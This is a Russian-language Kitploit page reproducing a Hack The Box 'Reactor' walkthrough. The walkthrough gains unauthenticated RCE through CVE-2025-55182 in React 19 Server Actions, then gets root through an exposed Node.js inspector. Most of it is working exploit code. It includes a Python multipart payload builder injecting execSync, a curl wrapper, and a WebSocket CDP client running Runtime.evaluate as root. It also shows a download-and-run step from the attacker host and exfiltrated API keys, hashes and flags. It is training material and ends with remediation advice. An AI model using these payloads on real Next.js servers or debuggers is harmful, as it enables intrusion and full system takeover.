Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Полное прохождение машины Reactor от HTB — эксплуатация CVE-2025-55182 для получения оболочки, затем получение root через открытый отладчик Node.js. Пошагово со скриншотами. | Kitploit
Инструменты/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияCTFТестирование на ПроникновениеОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Инструмент Удаленного Доступа
Лаборатории и Практика
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Полное прохождение машины Reactor от HTB — эксплуатация CVE-2025-55182 для получения оболочки, затем получение root через открытый отладчик Node.js. Пошагово со скриншотами.

Репозиторий
112 месяцев назадЕщё не проверено

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Предупреждение о спойлерах. Это полное прохождение, включая флаги. Если вы хотите решить машину самостоятельно, закройте это сейчас и вернитесь, когда застрянете.


Информация о машине

ПолеПодробности
НазваниеReactor
ОСUbuntu 24.04 LTS (Noble)
СложностьMedium
CVECVE-2025-55182 (CVSS 10.0)
Порты22 (SSH), 3000 (Next.js)
Авторsonnycroco

Обзор

Reactor тематически связана с панелью мониторинга атомной электростанции под названием ReactorWatch. Машина целиком построена на связке двух уязвимостей — никаких догадок, бесполезных веток и грубой силы.

Путь: предрелизная сборка React 19 содержит критическую ошибку десериализации, которая позволяет получить неавторизованное удалённое выполнение кода (RCE) одним HTTP-запросом. Оттуда отладочный порт Node.js, работающий от root, даёт полный доступ к системе через сообщение WebSocket.

Цепочка атаки:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Содержание

  1. Шаг 1: Разведка
  2. Шаг 2: Определение технологического стека
  3. Шаг 3: Эксплуатация CVE-2025-55182 (Неавторизованный RCE)
  4. Шаг 4: Осмотр от имени node
  5. Шаг 5: Пользовательский флаг
  6. Шаг 6: Повышение привилегий
  7. Шаг 7: Root-флаг
  8. Уроки
  9. Устранение уязвимостей

Шаг 1: Разведка

Первое, что нужно сделать на любой новой машине — выяснить, какие порты слушаются. Полное сканирование портов с определением служб, чтобы ничего не пропустить.

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Результаты сканирования Nmap, показывающие открытые порты 22 и 3000 с определённым Next.js

Только два порта. SSH пока тупиковый — у нас ещё нет учётных данных. Порт 3000 — цель. Nmap уже сообщает, что это Next.js 15.0.3, что даёт хорошую зацепку.


Шаг 2: Определение технологического стека

Прежде чем применять эксплойты, я хочу точно знать версию всего запущенного. HTTP-заголовки уже показали Next.js, но версия React — критическая деталь. React 19 долго был в предрелизной версии и имел серьёзные проблемы до стабильного релиза.

Скачиваем один из клиентских JavaScript-чанков, чтобы проверить:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

rc в строке версии — это явный признак. Это сборка-кандидат React 19, не стабильная версия. Базы CVE подтверждают: CVE-2025-55182 затрагивает именно эту сборку. CVSS 10.0.

Попутно проверяем заголовки на предмет промежуточного ПО:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

Нигде нет заголовка x-middleware-rewrite, что означает, что промежуточное ПО Next.js не установлено. Это исключает CVE-2025-29927 (обход middleware) — стоит отметить, чтобы не тратить на него время.

Что мы знаем:

  • Next.js 15.0.3 с включённым experimental.serverActions
  • React 19.0.0-rc, уязвимый к CVE-2025-55182
  • Имя приложения: ReactorWatch (панель мониторинга датчиков ядерного реактора)
  • Middleware отсутствует, поэтому CVE, связанный с обходом middleware, здесь неприменим

Определение технологического стека: обнаружен React 19.0.0-rc и идентифицирован CVE-2025-55182


Шаг 3: Эксплуатация CVE-2025-55182 (Неавторизованный RCE)

В чём заключается уязвимость

Серверные компоненты React 19 ввели Server Actions — серверные функции, вызываемые клиентом через HTTP POST с заголовком Next-Action. Парсер multipart-тела, обрабатывающий эти запросы, содержит критическую ошибку: он небезопасно десериализует ссылочный тип $1:__proto__:then.

Создавая multipart-тело, которое устанавливает _response._prefix в произвольный JavaScript, атакующий вызывает выполнение этого кода на сервере. Результат выводится через исключение, которое Next.js использует внутренне для редиректов (NEXT_REDIRECT), и оказывается URL-кодированным внутри заголовка ответа x-action-redirect.

Любой POST на любую страницу с заголовком Next-Action запускает эту уязвимость. Ни проверки аутентификации, ни специального эндпоинта. Просто отправьте нагрузку на / — и вы внутри.

Создание эксплойта

Небольшой помощник на Python, который принимает команду оболочки, строит multipart-нагрузку и записывает её на диск для отправки через curl:

make_rce.py — построитель нагрузки
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Оборачиваем всё в функцию оболочки для ощущения псевдо-консоли:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

Необработанный HTTP-обмен. Вывод команды находится прямо в заголовке редиректа:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Запуск

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

Мы внутри от имени служебной учётной записи node. Ни аутентификации, ни грубой силы, ни социальной инженерии. Всего один HTTP POST. Вот как на практике выглядит CVSS 10.0.

Необработанный HTTP-запрос и ответ с CVE-2025-55182: вывод команды виден в заголовке редиректа

[!WARNING] Две вещи, которые нужно знать перед продолжением:

  • execSync является синхронным и блокирует поток ответа. Не пытайтесь с его помощью запустить обратный шелл — используйте асинхронный exec(), иначе сервер зависнет.
  • Шаблонная строка NEXT_REDIRECT ломается на переводах строк. Всегда передавайте многострочный вывод через paste -sd,, чтобы сплющить его перед помещением в URL.

Шаг 4: Осмотр от имени node

Получив возможность выполнять код, следующая цель — понять окружение: что есть на машине, какие учётные данные валяются, есть ли очевидный путь к пользователю с более высокими привилегиями.

Проверка конфигурации приложения

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

На диске есть база данных SQLite. Проверяем, что внутри:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

Учётная запись администратора с MD5-хэшем. Прогон через John с rockyou не даёт результата. Это нормально — как выяснится позже, взлом хэша не понадобится, когда мы найдём настоящий путь повышения привилегий. Откладываем это и продолжаем.

Проверка пользователей и домашних каталогов

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

Существует пользователь с именем engineer. Его флаг лежит в его домашнем каталоге.

[!NOTE] В некоторых экземплярах этой машины /home/engineer/ имеет права 700, то есть служебная учётная запись node не может прочитать его напрямую. Если в вашем случае это так, не паникуйте. Путь повышения привилегий до root, описанный в Шаге 6, позволяет прочитать оба флага от root.


Шаг 5: Пользовательский флаг

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

Если /home/engineer/ в вашем экземпляре закрыт, переходите к Шагу 6 и заберите оба флага от root.


Шаг 6: Повышение привилегий

Поиск пути к root

Имея точку опоры, проверяем, какие процессы запущены на машине. Полный ps aux слишком длинный, поэтому фильтруем всё, что связано с Node.js:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Вот оно. Второй процесс Node.js, работающий от root, запущен с флагом --inspect, привязанным к 127.0.0.1:9229. Это скрипт мониторинга времени безотказной работы, который кто-то запустил с включённым отладчиком Node.js и просто оставил работать.

Почему это даёт нам root

Флаг --inspect открывает Chrome DevTools Protocol (CDP) — тот же протокол, который используют инструменты разработчика вашего браузера. Подключившись к нему, вы можете сказать процессу выполнить произвольный JavaScript в его собственном контексте V8. Поскольку процесс работает от root, всё, что вы выполняете, также работает от root.

Единственное препятствие — отладчик привязан к localhost, но у нас уже есть возможность выполнять код на машине от имени node, так что мы можем достучаться до него без проблем.

Подтверждаем, что отладчик активен, и получаем URL WebSocket:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] UUID в URL WebSocket (1d85ee80-...) является уникальным для каждого экземпляра процесса. Ваш будет другим. Скопируйте его из своего JSON-вывода и обновите в скрипте эксплойта перед запуском.

Вывод ps aux, показывающий процесс Node.js inspect от root, и URL WebSocket отладчика из эндпоинта json

Написание CDP-эксплойта

Чтобы отправить команду Runtime.evaluate инспектору, нужен WebSocket-клиент. Пакет ws npm на цели отсутствует, поэтому пишем минимальный клиент с нуля, используя только встроенные модули Node.js: net для TCP-соединения и crypto для маскировки WebSocket-фреймов.

inspector_exploit.js — WebSocket CDP-клиент без зависимостей
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] Внутри вызова CDP Runtime.evaluate простая функция require() не находится в глобальной области видимости, даже если сам worker.js является CommonJS-модулем. Необходимо использовать process.mainModule.require(...). Использование голого require() вызовет ReferenceError и не даст вывода.

Доставка и запуск эксплойта

Раздаём скрипт с атакующей машины:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

Скачиваем и запускаем его на цели через цепочку RCE:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

Ответ:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

Мы выполняем произвольный JavaScript внутри процесса, работающего от uid=0.

Ответ CDP Runtime.evaluate, подтверждающий uid=0 и выполнение кода от root


Шаг 7: Root-флаг

Тот же эксплойт, другая команда в CMD:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

Оба флага захвачены — user.txt и root.txt, машина полностью взломана

Общее время от первого запроса до root: менее 10 минут, когда вы понимаете CVE. Ни грубой силы, ни подбора паролей, ни ложных веток.


Уроки

1. Не предполагайте, что CVE для Next.js накладываются друг на друга

CVE-2025-29927 (обход middleware) был популярен в то же время, что и CVE-2025-55182. Всегда проверяйте, установлено ли middleware на самом деле, прежде чем тестировать его обход. Наличие или отсутствие заголовка ответа x-middleware-rewrite сразу же даёт ответ. Гоняться за неверным CVE — легкий способ потратить время впустую.

2. execSync сломает обратные шеллы

Он блокирует весь поток ответа сервера до завершения дочернего процесса. Запуск bash -i или netcat-шелла через него приведёт к зависанию обеих сторон. Используйте асинхронный exec() из child_process, если вам нужна интерактивная оболочка через этот эксплойт.

3. Сплющивайте многострочный вывод перед эксфильтрацией

Вывод команды встраивается внутрь JavaScript-шаблонной строки: NEXT_REDIRECT;push;/login?a=${res};307;. Любой буквальный перевод строки в res ломает шаблонную строку и не возвращает ничего. Пропускайте весь вывод через paste -sd,, чтобы объединить строки перед эксфильтрацией.

4. require не глобален в контексте CDP

Когда вы отправляете Runtime.evaluate инспектору Node.js, вы выполняете код в изолированной среде V8, которая не предоставляет глобально функцию CommonJS require, даже если целевой процесс сам является CommonJS-модулем. Всегда используйте process.mainModule.require("module") внутри CDP-выражений.

5. Права на домашний каталог различаются от экземпляра к экземпляру

В некоторых развёртываниях этой машины служебная учётная запись node может напрямую читать /home/engineer/user.txt. В других права 700 на домашний каталог блокируют это. Путь повышения привилегий до root работает всегда и даёт оба флага независимо от этого.


Устранение уязвимостей

Скачать инструмент
УязвимостьИсправление
CVE-2025-55182Обновите React с 19.0.0-rc до стабильного релиза React 19. Обновите Next.js до версии 15.2.3 или выше.
Node.js --inspect под rootПолностью удалите --inspect из всех производственных процессов. Никогда не привязывайте инспектор к какому-либо адресу, даже 127.0.0.1, на разделяемых системах. Используйте выделенное изолированное окружение для отладки.
База данных SQLite в каталоге приложенияПереместите базу данных за пределы веб-корня. Ограничьте права файловой системы так, чтобы веб-процесс имел доступ только к тому, что ему строго необходимо.
---